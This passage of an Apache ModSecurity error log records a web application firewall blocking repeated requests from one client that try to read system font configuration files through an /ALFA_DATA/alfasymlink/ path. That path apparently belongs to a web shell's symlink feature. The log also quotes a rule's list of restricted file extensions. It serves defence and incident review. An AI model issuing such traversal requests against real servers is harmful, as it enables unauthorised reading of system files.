[Sun Oct 25 14:29:40.847395 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52976] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-d050000l.conf"] [unique_id "at5KlOKLKrCYLMnXfck7fQAAAAg"]
[Sun Oct 25 14:29:40.847645 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52976] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-d050000l.conf"] [unique_id "at5KlOKLKrCYLMnXfck7fQAAAAg"]
[Sun Oct 25 14:29:40.847871 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:52976] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-d050000l.conf"] [unique_id "at5KlOKLKrCYLMnXfck7fQAAAAg"]
[Sun Oct 25 14:29:40.847871 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52974] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-c059.conf"] [unique_id "at5KlL3kuBsxLRbAfYmomQAAAA4"]
[Sun Oct 25 14:29:40.848194 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52974] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-c059.conf"] [unique_id "at5KlL3kuBsxLRbAfYmomQAAAA4"]
[Sun Oct 25 14:29:40.848582 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:52974] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-c059.conf"] [unique_id "at5KlL3kuBsxLRbAfYmomQAAAA4"]
[Sun Oct 25 14:29:40.849543 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52977] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-mono-ps.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXVgAAAAk"]
[Sun Oct 25 14:29:40.849767 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52977] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-mono-ps.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXVgAAAAk"]
[Sun Oct 25 14:29:40.850061 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:52977] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-mono-ps.conf"] [unique_id "at5KlAl_YuTmdn3pCPOXVgAAAAk"]
[Sun Oct 25 14:29:41.107238 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52994] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-sans.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtIgAAAAA"]
[Sun Oct 25 14:29:41.107579 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-sans.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtIgAAAAA"]
[Sun Oct 25 14:29:41.107837 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:52994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-sans.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtIgAAAAA"]
[Sun Oct 25 14:29:41.130048 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52999] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-z003.conf"] [unique_id "at5KlYptOg7YDpX4xSOWvgAAABA"]
[Sun Oct 25 14:29:41.130329 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52999] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-z003.conf"] [unique_id "at5KlYptOg7YDpX4xSOWvgAAABA"]
[Sun Oct 25 14:29:41.130579 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:52999] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-z003.conf"] [unique_id "at5KlYptOg7YDpX4xSOWvgAAABA"]
[Sun Oct 25 14:29:41.137875 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52978] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-gothic.conf"] [unique_id "at5KlWT7SK5esjpOWSjqugAAABY"]
[Sun Oct 25 14:29:41.138125 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52978] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-gothic.conf"] [unique_id "at5KlWT7SK5esjpOWSjqugAAABY"]
[Sun Oct 25 14:29:41.138384 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:52978] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-gothic.conf"] [unique_id "at5KlWT7SK5esjpOWSjqugAAABY"]
[Sun Oct 25 14:29:41.156167 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52998] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-p052.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLAAAAAc"]
[Sun Oct 25 14:29:41.156423 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-p052.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLAAAAAc"]
[Sun Oct 25 14:29:41.156666 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:52998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-p052.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLAAAAAc"]
[Sun Oct 25 14:29:41.159463 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:53005] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-fonts-persian.conf"] [unique_id "at5KlZKSFHHoiviJa5dqkQAAAAo"]
[Sun Oct 25 14:29:41.159691 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:53005] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-fonts-persian.conf"] [unique_id "at5KlZKSFHHoiviJa5dqkQAAAAo"]
[Sun Oct 25 14:29:41.159928 2026] [security2:error] [pid 2879931:tid 2879931] [client 76.135.135.39:53005] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/65-fonts-persian.conf"] [unique_id "at5KlZKSFHHoiviJa5dqkQAAAAo"]
[Sun Oct 25 14:29:41.191017 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52996] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-roman.conf"] [unique_id "at5KlRH5LAgtrvBIlo323gAAABU"]
[Sun Oct 25 14:29:41.191491 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52996] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-roman.conf"] [unique_id "at5KlRH5LAgtrvBIlo323gAAABU"]
[Sun Oct 25 14:29:41.191730 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:52996] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-nimbus-roman.conf"] [unique_id "at5KlRH5LAgtrvBIlo323gAAABU"]
[Sun Oct 25 14:29:41.213943 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:53004] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-standard-symbols-ps.conf"] [unique_id "at5KlUqRyDR58ONJ8xcK9AAAAAs"]
[Sun Oct 25 14:29:41.214307 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:53004] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/61-urw-standard-symbols-ps.conf"] [unique_id "at5KlUqRyDR58ONJ8xcK9AAAAAs"]
[Sun Oct 25 14:29:41.215462 2026] [security2:error] [pid 2880751:tid 2880751] [client 76.135.135.39:53009] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri 